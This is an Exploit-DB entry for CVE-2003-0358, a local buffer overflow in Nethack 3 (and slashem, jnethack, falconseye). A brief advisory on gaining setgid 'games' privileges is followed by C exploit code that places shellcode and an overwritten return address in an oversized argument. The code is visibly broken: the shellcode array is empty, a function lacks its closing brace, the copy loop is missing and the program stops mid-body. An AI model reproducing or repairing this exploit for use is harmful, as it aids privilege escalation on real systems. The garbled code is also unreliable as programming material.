Nethack 3 - Local Buffer Overflow Vulnerability 1

ID EDB-ID:22233
Type exploitdb
Reporter tsao@efnet
Modified 2003-02-10T00:00:00


Nethack 3 Local Buffer Overflow Vulnerability (1). CVE-2003-0358. Local exploit for linux platform


By passing an overly large string when invoking nethack, it is possible to corrupt memory.

By exploiting this issue it may be possible for an attacker to overwrite values in sensitive areas of memory, resulting in the execution of arbitrary attacker-supplied code. As nethack may be installed setgid 'games' on various systems this may allow an attacker to gain elevated privileges.

slashem, jnethack and falconseye are also prone to this vulnerability.

        tsao@efnet #!IC@efnet 2k3
        thnx to aleph1 for execve shellcode &
        davidicke for setreuid() shellcode

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char code[] =


unsigned long sp(void) {
   __asm__("movl %esp,%eax");

int main(int argc, char **argv) {
     char *p;
     int i, off;

     p = malloc(sizeof(char) * atoi(argv[1]));

     off = 220 - strlen(code);
     printf("shellcode at %d->%d\n",off,off+strlen(code));
       p[i+off] = code[i];

     *(long *) &p[220] = sp() - atoi(argv[2]);
     printf("Using %x\n",sp() - atoi(argv[2]));